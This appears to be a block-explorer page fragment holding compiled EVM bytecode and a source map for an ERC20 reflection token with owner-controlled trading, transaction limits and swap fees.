b61066d565b5060019392505050565b6001600160a01b0381166000908152600260205260408120546103f290610c5b565b6000546001600160a01b031633146104b65760405162461bcd60e51b81526004016104ad90611454565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461052a5760405162461bcd60e51b81526004016104ad90611454565b6006546014819055601555565b60006103ee338484610791565b6000546001600160a01b0316331461056e5760405162461bcd60e51b81526004016104ad90611454565b6013805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105ad5760405162461bcd60e51b81526004016104ad90611454565b6001600160a01b0381166106125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ad565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106cf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ad565b6001600160a01b0382166107305760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ad565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107f55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ad565b6001600160a01b0382166108575760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ad565b600081116108b95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ad565b6000546001600160a01b038481169116148015906108e557506000546001600160a01b03838116911614155b15610b1457601354600160a01b900460ff1661097e576000546001600160a01b0384811691161461097e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104ad565b6014548111156109d05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016104ad565b6013546001600160a01b03838116911614610a5657601554816109f284610461565b6109fc919061149f565b1115610a565760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016104ad565b6000610a6130610461565b601654601454919250821015908210610a7a5760145491505b808015610a915750601354600160a81b900460ff16155b8015610aaa57506013546001600160a01b038581169116145b8015610abf5750601354600160b01b900460ff165b8015610ae457506001600160a01b03851660009081526005602052604090205460ff16155b8015610af1575060165483115b15610b1157610aff82610c79565b478015610b0f57610b0f47610df3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610b5657506001600160a01b03831660009081526005602052604090205460ff165b80610b8857506013546001600160a01b03858116911614801590610b8857506013546001600160a01b03848116911614155b15610b9557506000610c0f565b6013546001600160a01b038581169116148015610bc057506012546001600160a01b03848116911614155b15610bd257600854600c55600954600d555b6013546001600160a01b038481169116148015610bfd57506012546001600160a01b03858116911614155b15610c0f57600a54600c55600b54600d555b610c1b84848484610e31565b50505050565b60008184841115610c455760405162461bcd60e51b81526004016104ad919061132b565b506000610c5284866114b2565b95945050505050565b600080610c66610e5f565b9050610c728382610e82565b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cc157610cc16114c5565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3e91906114db565b81600181518110610d5157610d516114c5565b6001600160a01b039283166020918202929092010152601254610d77913091168461066d565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610db09085906000908690309042906004016114f8565b600060405180830381600087803b158015610dca57600080fd5b505af1158015610dde573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e2d573d6000803e3d6000fd5b5050565b80610e3e57610e3e610ec4565b610e49848484610ef2565b80610c1b57610c1b600e54600c55600f54600d55565b6000806000610e6c61102a565b9092509050610e7b8282610e82565b9250505090565b6000610c7283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061106a565b600c54158015610ed45750600d54155b15610edb57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080610f0487611098565b6001600160a01b038f16600090815260056020526040902054959b5093995091975095509350915060ff168015610f445750601354600160a01b900460ff165b610f4e5785610f51565b60005b6001600160a01b038a16600090815260026020526040902054909650610f7790876110f5565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610fa69086611137565b6001600160a01b038916600090815260026020526040902055610fc881611196565b610fd284836111e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161101791815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006110458282610e82565b82101561106157505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361108b5760405162461bcd60e51b81526004016104ad919061132b565b506000610c528486611569565b60008060008060008060008060006110b58a600c54600d54611204565b92509250925060006110c5610e5f565b905060008060006110d88e878787611259565b919e509c509a509598509396509194505050505091939550919395565b6000610c7283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c21565b600080611144838561149f565b905083811015610c725760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ad565b60006111a0610e5f565b905060006111ae83836112a9565b306000908152600260205260409020549091506111cb9082611137565b30600090815260026020526040902055505050565b6006546111ed90836110f5565b6006556007546111fd9082611137565b6007555050565b600080808061121e606461121889896112a9565b90610e82565b9050600061123160646112188a896112a9565b90506000611249826112438b866110f5565b906110f5565b9992985090965090945050505050565b600080808061126888866112a9565b9050600061127688876112a9565b9050600061128488886112a9565b905060006112968261124386866110f5565b939b939a50919850919650505050505050565b6000826000036112bb575060006103f2565b60006112c7838561158b565b9050826112d48583611569565b14610c725760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ad565b600060208083528351808285015260005b818110156113585785810183015185820160400152820161133c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461138e57600080fd5b50565b600080604083850312156113a457600080fd5b82356113af81611379565b946020939093013593505050565b6000806000606084860312156113d257600080fd5b83356113dd81611379565b925060208401356113ed81611379565b929592945050506040919091013590565b60006020828403121561141057600080fd5b8135610c7281611379565b6000806040838503121561142e57600080fd5b823561143981611379565b9150602083013561144981611379565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156103f2576103f2611489565b818103818111156103f2576103f2611489565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114ed57600080fd5b8151610c7281611379565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115485784516001600160a01b031683529383019391830191600101611523565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261158657634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176103f2576103f261148956fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220033127c5c66238569d0c1f734c7f3d6dbf10861d1bfa4ce36636232be73b34a164736f6c63430008130033

Deployed Bytecode Sourcemap

4168:11372:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6486:83;;;;;;;;;;-1:-1:-1;6556:5:0;;;;;;;;;;;;;;;;;6486:83;;;;;;;:::i;:::-;;;;;;;;10208:193;;;;;;;;;;-1:-1:-1;10208:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10208:193:0;1023:187:1;5721:47:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5721:47:0;1215:177:1;5429:30:0;;;;;;;;;;-1:-1:-1;5429:30:0;;;;-1:-1:-1;;;;;5429:30:0;;;;;;-1:-1:-1;;;;;1576:32:1;;;1558:51;;1546:2;1531:18;5429:30:0;1397:218:1;6763:95:0;;;;;;;;;;-1:-1:-1;4737:15:0;6763:95;;10409:446;;;;;;;;;;-1:-1:-1;10409:446:0;;;;;:::i;:::-;;:::i;6672:83::-;;;;;;;;;;-1:-1:-1;6672:83:0;;4413:1;2223:36:1;;2211:2;2196:18;6672:83:0;2081:184:1;5466:28:0;;;;;;;;;;-1:-1:-1;5466:28:0;;;;-1:-1:-1;;;;;5466:28:0;;;6866:138;;;;;;;;;;-1:-1:-1;6866:138:0;;;;;:::i;:::-;;:::i;3021:148::-;;;;;;;;;;;;;:::i;:::-;;14042:118;;;;;;;;;;;;;:::i;5667:47::-;;;;;;;;;;;;;;;;2807:79;;;;;;;;;;-1:-1:-1;2845:7:0;2872:6;-1:-1:-1;;;;;2872:6:0;2807:79;;6577:87;;;;;;;;;;-1:-1:-1;6649:7:0;;;;;;;;;;;;-1:-1:-1;;;6649:7:0;;;;6577:87;;7012:199;;;;;;;;;;-1:-1:-1;7012:199:0;;;;;:::i;:::-;;:::i;14269:77::-;;;;;;;;;;;;;:::i;5608:52::-;;;;;;;;;;;;;;;;7219:184;;;;;;;;;;-1:-1:-1;7219:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7368:18:0;;;7336:7;7368:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7219:184;3177:244;;;;;;;;;;-1:-1:-1;3177:244:0;;;;;:::i;:::-;;:::i;10208:193::-;10310:4;10332:39;298:10;10355:7;10364:6;10332:8;:39::i;:::-;-1:-1:-1;10389:4:0;10208:193;;;;;:::o;10409:446::-;10541:4;10558:36;10568:6;10576:9;10587:6;10558:9;:36::i;:::-;10605:220;10628:6;298:10;10676:138;10732:6;10676:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10676:19:0;;;;;;:11;:19;;;;;;;;298:10;10676:33;;;;;;;;;;:37;:138::i;:::-;10605:8;:220::i;:::-;-1:-1:-1;10843:4:0;10409:446;;;;;:::o;6866:138::-;-1:-1:-1;;;;;6979:16:0;;6932:7;6979:16;;;:7;:16;;;;;;6959:37;;:19;:37::i;3021:148::-;2934:6;;-1:-1:-1;;;;;2934:6:0;298:10;2934:22;2926:67;;;;-1:-1:-1;;;2926:67:0;;;;;;;:::i;:::-;;;;;;;;;3128:1:::1;3112:6:::0;;3091:40:::1;::::0;-1:-1:-1;;;;;3112:6:0;;::::1;::::0;3091:40:::1;::::0;3128:1;;3091:40:::1;3159:1;3142:19:::0;;-1:-1:-1;;;;;;3142:19:0::1;::::0;;3021:148::o;14042:118::-;2934:6;;-1:-1:-1;;;;;2934:6:0;298:10;2934:22;2926:67;;;;-1:-1:-1;;;2926:67:0;;;;;;;:::i;:::-;14114:7:::1;::::0;14096:15:::1;:25:::0;;;14132:10:::1;:20:::0;14042:118::o;7012:199::-;7117:4;7139:42;298:10;7163:9;7174:6;7139:9;:42::i;14269:77::-;2934:6;;-1:-1:-1;;;;;2934:6:0;298:10;2934:22;2926:67;;;;-1:-1:-1;;;2926:67:0;;;;;;;:::i;:::-;14320:11:::1;:18:::0;;-1:-1:-1;;;;14320:18:0::1;-1:-1:-1::0;;;14320:18:0::1;::::0;;14269:77::o;3177:244::-;2934:6;;-1:-1:-1;;;;;2934:6:0;298:10;2934:22;2926:67;;;;-1:-1:-1;;;2926:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3266:22:0;::::1;3258:73;;;::::0;-1:-1:-1;;;3258:73:0;;3686:2:1;3258:73:0::1;::::0;::::1;3668:21:1::0;3725:2;3705:18;;;3698:30;3764:34;3744:18;;;3737:62;-1:-1:-1;;;3815:18:1;;;3808:36;3861:19;;3258:73:0::1;3484:402:1::0;3258:73:0::1;3368:6;::::0;;3347:38:::1;::::0;-1:-1:-1;;;;;3347:38:0;;::::1;::::0;3368:6;::::1;::::0;3347:38:::1;::::0;::::1;3396:6;:17:::0;;-1:-1:-1;;;;;;3396:17:0::1;-1:-1:-1::0;;;;;3396:17:0;;;::::1;::::0;;;::::1;::::0;;3177:244::o;7533:369::-;-1:-1:-1;;;;;7660:19:0;;7652:68;;;;-1:-1:-1;;;7652:68:0;;4093:2:1;7652:68:0;;;4075:21:1;4132:2;4112:18;;;4105:30;4171:34;4151:18;;;4144:62;-1:-1:-1;;;4222:18:1;;;4215:34;4266:19;;7652:68:0;3891:400:1;7652:68:0;-1:-1:-1;;;;;7739:21:0;;7731:68;;;;-1:-1:-1;;;7731:68:0;;4498:2:1;7731:68:0;;;4480:21:1;4537:2;4517:18;;;4510:30;4576:34;4556:18;;;4549:62;-1:-1:-1;;;4627:18:1;;;4620:32;4669:19;;7731:68:0;4296:398:1;7731:68:0;-1:-1:-1;;;;;7810:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7862:32;;1361:25:1;;;7862:32:0;;1334:18:1;7862:32:0;;;;;;;7533:369;;;:::o;11301:2239::-;-1:-1:-1;;;;;11423:18:0;;11415:68;;;;-1:-1:-1;;;11415:68:0;;4901:2:1;11415:68:0;;;4883:21:1;4940:2;4920:18;;;4913:30;4979:34;4959:18;;;4952:62;-1:-1:-1;;;5030:18:1;;;5023:35;5075:19;;11415:68:0;4699:401:1;11415:68:0;-1:-1:-1;;;;;11502:16:0;;11494:64;;;;-1:-1:-1;;;11494:64:0;;5307:2:1;11494:64:0;;;5289:21:1;5346:2;5326:18;;;5319:30;5385:34;5365:18;;;5358:62;-1:-1:-1;;;5436:18:1;;;5429:33;5479:19;;11494:64:0;5105:399:1;11494:64:0;11586:1;11577:6;:10;11569:64;;;;-1:-1:-1;;;11569:64:0;;5711:2:1;11569:64:0;;;5693:21:1;5750:2;5730:18;;;5723:30;5789:34;5769:18;;;5762:62;-1:-1:-1;;;5840:18:1;;;5833:39;5889:19;;11569:64:0;5509:405:1;11569:64:0;2845:7;2872:6;-1:-1:-1;;;;;11650:15:0;;;2872:6;;11650:15;;;;:32;;-1:-1:-1;2845:7:0;2872:6;-1:-1:-1;;;;;11669:13:0;;;2872:6;;11669:13;;11650:32;11646:1166;;;11739:11;;-1:-1:-1;;;11739:11:0;;;;11734:144;;2845:7;2872:6;-1:-1:-1;;;;;11779:15:0;;;2872:6;;11779:15;11771:91;;;;-1:-1:-1;;;11771:91:0;;6121:2:1;11771:91:0;;;6103:21:1;6160:2;6140:18;;;6133:30;6199:34;6179:18;;;6172:62;6270:33;6250:18;;;6243:61;6321:19;;11771:91:0;5919:427:1;11771:91:0;11912:15;;11902:6;:25;;11894:66;;;;-1:-1:-1;;;11894:66:0;;6553:2:1;11894:66:0;;;6535:21:1;6592:2;6572:18;;;6565:30;6631;6611:18;;;6604:58;6679:18;;11894:66:0;6351:352:1;11894:66:0;11986:13;;-1:-1:-1;;;;;11980:19:0;;;11986:13;;11980:19;11977:143;;12054:10;;12044:6;12028:13;12038:2;12028:9;:13::i;:::-;:22;;;;:::i;:::-;:36;;12020:84;;;;-1:-1:-1;;;12020:84:0;;7172:2:1;12020:84:0;;;7154:21:1;7211:2;7191:18;;;7184:30;7250:34;7230:18;;;7223:62;-1:-1:-1;;;7301:18:1;;;7294:33;7344:19;;12020:84:0;6970:399:1;12020:84:0;12136:28;12167:24;12185:4;12167:9;:24::i;:::-;12245:14;;12303:15;;12136:55;;-1:-1:-1;12221:38:0;;;;12279:39;;12276:130;;12375:15;;12352:38;;12276:130;12426:7;:18;;;;-1:-1:-1;12438:6:0;;-1:-1:-1;;;12438:6:0;;;;12437:7;12426:18;:41;;;;-1:-1:-1;12454:13:0;;-1:-1:-1;;;;;12448:19:0;;;12454:13;;12448:19;12426:41;:56;;;;-1:-1:-1;12471:11:0;;-1:-1:-1;;;12471:11:0;;;;12426:56;:86;;;;-1:-1:-1;;;;;;12487:25:0;;;;;;:19;:25;;;;;;;;12486:26;12426:86;:113;;;;;12525:14;;12516:6;:23;12426:113;12422:379;;;12560:37;12576:20;12560:15;:37::i;:::-;12645:21;12689:22;;12685:101;;12736:30;12744:21;12736:7;:30::i;:::-;12541:260;12422:379;11684:1128;;11646:1166;-1:-1:-1;;;;;12888:25:0;;12824:12;12888:25;;;:19;:25;;;;;;12839:4;;12888:25;;;:52;;-1:-1:-1;;;;;;12917:23:0;;;;;;:19;:23;;;;;;;;12888:52;12887:104;;;-1:-1:-1;12954:13:0;;-1:-1:-1;;;;;12946:21:0;;;12954:13;;12946:21;;;;:44;;-1:-1:-1;12977:13:0;;-1:-1:-1;;;;;12971:19:0;;;12977:13;;12971:19;;12946:44;12883:596;;;-1:-1:-1;13018:5:0;12883:596;;;13101:13;;-1:-1:-1;;;;;13093:21:0;;;13101:13;;13093:21;:55;;;;-1:-1:-1;13132:15:0;;-1:-1:-1;;;;;13118:30:0;;;13132:15;;13118:30;;13093:55;13090:162;;;13181:14;;13169:9;:26;13224:12;;13214:7;:22;13090:162;13311:13;;-1:-1:-1;;;;;13305:19:0;;;13311:13;;13305:19;:55;;;;-1:-1:-1;13344:15:0;;-1:-1:-1;;;;;13328:32:0;;;13344:15;;13328:32;;13305:55;13301:165;;;13393:15;;13381:9;:27;13437:13;;13427:7;:23;13301:165;13491:41;13506:4;13512:2;13516:6;13524:7;13491:14;:41::i;:::-;11404:2136;11301:2239;;;:::o;1435:224::-;1555:7;1591:12;1583:6;;;;1575:29;;;;-1:-1:-1;;;1575:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1615:9:0;1627:5;1631:1;1627;:5;:::i;:::-;1615:17;1435:224;-1:-1:-1;;;;;1435:224:0:o;10863:202::-;10958:7;10983:19;11005:10;:8;:10::i;:::-;10983:32;-1:-1:-1;11033:24:0;:7;10983:32;11033:11;:24::i;:::-;11026:31;10863:202;-1:-1:-1;;;10863:202:0:o;13548:482::-;5865:6;:13;;-1:-1:-1;;;;5865:13:0;-1:-1:-1;;;5865:13:0;;;13649:16:::1;::::0;;13663:1:::1;13649:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13649:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13649:16:0::1;13625:40;;13694:4;13676;13681:1;13676:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13676:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13720:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13720:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13676:7;;13720:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13710:4;13715:1;13710:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13710:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13785:15:::1;::::0;13753:62:::1;::::0;13770:4:::1;::::0;13785:15:::1;13803:11:::0;13753:8:::1;:62::i;:::-;13826:15;::::0;:196:::1;::::0;-1:-1:-1;;;13826:196:0;;-1:-1:-1;;;;;13826:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13907:11;;13826:15:::1;::::0;13949:4;;13976::::1;::::0;13996:15:::1;::::0;13826:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5901:6:0;:14;;-1:-1:-1;;;;5901:14:0;;;-1:-1:-1;;;;13548:482:0:o;14168:93::-;14220:16;;:33;;-1:-1:-1;;;;;14220:16:0;;;;:33;;;;;14246:6;;14220:16;:33;:16;:33;14246:6;14220:16;:33;;;;;;;;;;;;;;;;;;;;;14168:93;:::o;8173:282::-;8329:7;8324:28;;8338:14;:12;:14::i;:::-;8363:44;8381:6;8389:9;8400:6;8363:17;:44::i;:::-;8423:7;8418:29;;8432:15;7467:17;;7455:9;:29;7505:12;;7495:7;:22;7411:114;15373:164;15415:7;15436:15;15453;15472:19;:17;:19::i;:::-;15435:56;;-1:-1:-1;15435:56:0;-1:-1:-1;15509:20:0;15435:56;;15509:11;:20::i;:::-;15502:27;;;;15373:164;:::o;1921:132::-;1979:7;2006:39;2010:1;2013;2006:39;;;;;;;;;;;;;;;;;:3;:39::i;11073:216::-;11120:9;;:14;:30;;;;-1:-1:-1;11138:7:0;;:12;11120:30;11116:43;;;11073:216::o;11116:43::-;11191:9;;;11171:17;:29;11226:7;;;11211:12;:22;-1:-1:-1;11246:13:0;;;;11270:11;11073:216::o;8463:699::-;8610:15;8640:23;8678:12;8705:23;8743:12;8770:13;8797:19;8808:7;8797:10;:19::i;:::-;-1:-1:-1;;;;;8838:27:0;;;;;;:19;:27;;;;;;8595:221;;-1:-1:-1;8595:221:0;;-1:-1:-1;8595:221:0;;-1:-1:-1;8595:221:0;-1:-1:-1;8595:221:0;-1:-1:-1;8595:221:0;-1:-1:-1;8838:27:0;;:42;;;;-1:-1:-1;8869:11:0;;-1:-1:-1;;;8869:11:0;;;;8838:42;8837:68;;8898:7;8837:68;;;8894:1;8837:68;-1:-1:-1;;;;;8934:15:0;;;;;;:7;:15;;;;;;8827:78;;-1:-1:-1;8934:28:0;;8827:78;8934:19;:28::i;:::-;-1:-1:-1;;;;;8916:15:0;;;;;;;:7;:15;;;;;;:46;;;;8994:18;;;;;;;:39;;9017:15;8994:22;:39::i;:::-;-1:-1:-1;;;;;8973:18:0;;;;;;:7;:18;;;;;:60;9044:16;9054:5;9044:9;:16::i;:::-;9071:23;9083:4;9089;9071:11;:23::i;:::-;9127:9;-1:-1:-1;;;;;9110:44:0;9119:6;-1:-1:-1;;;;;9110:44:0;;9138:15;9110:44;;;;1361:25:1;;1349:2;1334:18;;1215:177;9110:44:0;;;;;;;;8584:578;;;;;;8463:699;;;:::o;7910:257::-;8008:7;;7961;;;;4737:15;8076:20;8008:7;4737:15;8076:11;:20::i;:::-;8066:7;:30;8062:61;;;-1:-1:-1;;8106:7:0;;;4737:15;;-1:-1:-1;7910:257:0;-1:-1:-1;7910:257:0:o;8062:61::-;8142:7;;8151;;-1:-1:-1;7910:257:0;-1:-1:-1;7910:257:0:o;2061:223::-;2181:7;2216:12;2209:5;2201:28;;;;-1:-1:-1;;;2201:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2240:9:0;2252:5;2256:1;2252;:5;:::i;9581:615::-;9681:7;9703;9725;9747;9769;9791;9827:23;9852:12;9866:13;9896:40;9908:7;9917:9;;9928:7;;9896:11;:40::i;:::-;9826:110;;;;;;9947:19;9969:10;:8;:10::i;:::-;9947:32;;9991:15;10008:23;10033:12;10062:46;10074:7;10083:4;10089:5;10096:11;10062;:46::i;:::-;9990:118;;-1:-1:-1;9990:118:0;-1:-1:-1;9990:118:0;-1:-1:-1;10159:15:0;;-1:-1:-1;10176:4:0;;-1:-1:-1;10182:5:0;;-1:-1:-1;;;;;9581:615:0;;;;;;;:::o;1291:136::-;1349:7;1376:43;1380:1;1383;1376:43;;;;;;;;;;;;;;;;;:3;:43::i;1104:179::-;1162:7;;1194:5;1198:1;1194;:5;:::i;:::-;1182:17;;1223:1;1218;:6;;1210:46;;;;-1:-1:-1;;;1210:46:0;;9436:2:1;1210:46:0;;;9418:21:1;9475:2;9455:18;;;9448:30;9514:29;9494:18;;;9487:57;9561:18;;1210:46:0;9234:351:1;9170:211:0;9223:19;9245:10;:8;:10::i;:::-;9223:32;-1:-1:-1;9266:13:0;9282:22;:5;9223:32;9282:9;:22::i;:::-;9356:4;9340:22;;;;:7;:22;;;;;;9266:38;;-1:-1:-1;9340:33:0;;9266:38;9340:26;:33::i;:::-;9331:4;9315:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;9170:211:0:o;9389:147::-;9467:7;;:17;;9479:4;9467:11;:17::i;:::-;9457:7;:27;9508:10;;:20;;9523:4;9508:14;:20::i;:::-;9495:10;:33;-1:-1:-1;;9389:147:0:o;14354:469::-;14523:7;;;;14617:30;14643:3;14617:21;:7;14629:8;14617:11;:21::i;:::-;:25;;:30::i;:::-;14602:45;-1:-1:-1;14658:13:0;14674:28;14698:3;14674:19;:7;14686:6;14674:11;:19::i;:28::-;14658:44;-1:-1:-1;14713:23:0;14739:28;14658:44;14739:17;:7;14751:4;14739:11;:17::i;:::-;:21;;:28::i;:::-;14713:54;14803:4;;-1:-1:-1;14809:5:0;;-1:-1:-1;14354:469:0;;-1:-1:-1;;;;;14354:469:0:o;14831:534::-;15025:7;;;;15122:24;:7;15134:11;15122;:24::i;:::-;15104:42;-1:-1:-1;15157:12:0;15172:21;:4;15181:11;15172:8;:21::i;:::-;15157:36;-1:-1:-1;15204:13:0;15220:22;:5;15230:11;15220:9;:22::i;:::-;15204:38;-1:-1:-1;15253:23:0;15279:28;15204:38;15279:17;:7;15291:4;15279:11;:17::i;:28::-;15326:7;;;;-1:-1:-1;15352:4:0;;-1:-1:-1;14831:534:0;;-1:-1:-1;;;;;;;14831:534:0:o;1667:246::-;1725:7;1749:1;1754;1749:6;1745:47;;-1:-1:-1;1779:1:0;1772:8;;1745:47;1802:9;1814:5;1818:1;1814;:5;:::i;:::-;1802:17;-1:-1:-1;1847:1:0;1838:5;1842:1;1802:17;1838:5;:::i;:::-;:10;1830:56;;;;-1:-1:-1;;;1830:56:0;;9965:2:1;1830:56:0;;;9947:21:1;10004:2;9984:18;;;9977:30;10043:34;10023:18;;;10016:62;-1:-1:-1;;;10094:18:1;;;10087:31;10135:19;;1830:56:0;9763:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1620:456::-;1697:6;1705;1713;1766:2;1754:9;1745:7;1741:23;1737:32;1734:52;;;1782:1;1779;1772:12;1734:52;1821:9;1808:23;1840:31;1865:5;1840:31;:::i;:::-;1890:5;-1:-1:-1;1947:2:1;1932:18;;1919:32;1960:33;1919:32;1960:33;:::i;:::-;1620:456;;2012:7;;-1:-1:-1;;;2066:2:1;2051:18;;;;2038:32;;1620:456::o;2478:247::-;2537:6;2590:2;2578:9;2569:7;2565:23;2561:32;2558:52;;;2606:1;2603;2596:12;2558:52;2645:9;2632:23;2664:31;2689:5;2664:31;:::i;2730:388::-;2798:6;2806;2859:2;2847:9;2838:7;2834:23;2830:32;2827:52;;;2875:1;2872;2865:12;2827:52;2914:9;2901:23;2933:31;2958:5;2933:31;:::i;:::-;2983:5;-1:-1:-1;3040:2:1;3025:18;;3012:32;3053:33;3012:32;3053:33;:::i;:::-;3105:7;3095:17;;;2730:388;;;;;:::o;3123:356::-;3325:2;3307:21;;;3344:18;;;3337:30;3403:34;3398:2;3383:18;;3376:62;3470:2;3455:18;;3123:356::o;6708:127::-;6769:10;6764:3;6760:20;6757:1;6750:31;6800:4;6797:1;6790:15;6824:4;6821:1;6814:15;6840:125;6905:9;;;6926:10;;;6923:36;;;6939:18;;:::i;7374:128::-;7441:9;;;7462:11;;;7459:37;;;7476:18;;:::i;7639:127::-;7700:10;7695:3;7691:20;7688:1;7681:31;7731:4;7728:1;7721:15;7755:4;7752:1;7745:15;7771:251;7841:6;7894:2;7882:9;7873:7;7869:23;7865:32;7862:52;;;7910:1;7907;7900:12;7862:52;7942:9;7936:16;7961:31;7986:5;7961:31;:::i;8027:980::-;8289:4;8337:3;8326:9;8322:19;8368:6;8357:9;8350:25;8394:2;8432:6;8427:2;8416:9;8412:18;8405:34;8475:3;8470:2;8459:9;8455:18;8448:31;8499:6;8534;8528:13;8565:6;8557;8550:22;8603:3;8592:9;8588:19;8581:26;;8642:2;8634:6;8630:15;8616:29;;8663:1;8673:195;8687:6;8684:1;8681:13;8673:195;;;8752:13;;-1:-1:-1;;;;;8748:39:1;8736:52;;8843:15;;;;8808:12;;;;8784:1;8702:9;8673:195;;;-1:-1:-1;;;;;;;8924:32:1;;;;8919:2;8904:18;;8897:60;-1:-1:-1;;;8988:3:1;8973:19;8966:35;8885:3;8027:980;-1:-1:-1;;;8027:980:1:o;9012:217::-;9052:1;9078;9068:132;;9122:10;9117:3;9113:20;9110:1;9103:31;9157:4;9154:1;9147:15;9185:4;9182:1;9175:15;9068:132;-1:-1:-1;9214:9:1;;9012:217::o;9590:168::-;9663:9;;;9694;;9711:15;;;9705:22;;9691:37;9681:71;;9732:18;;:::i

Swarm Source

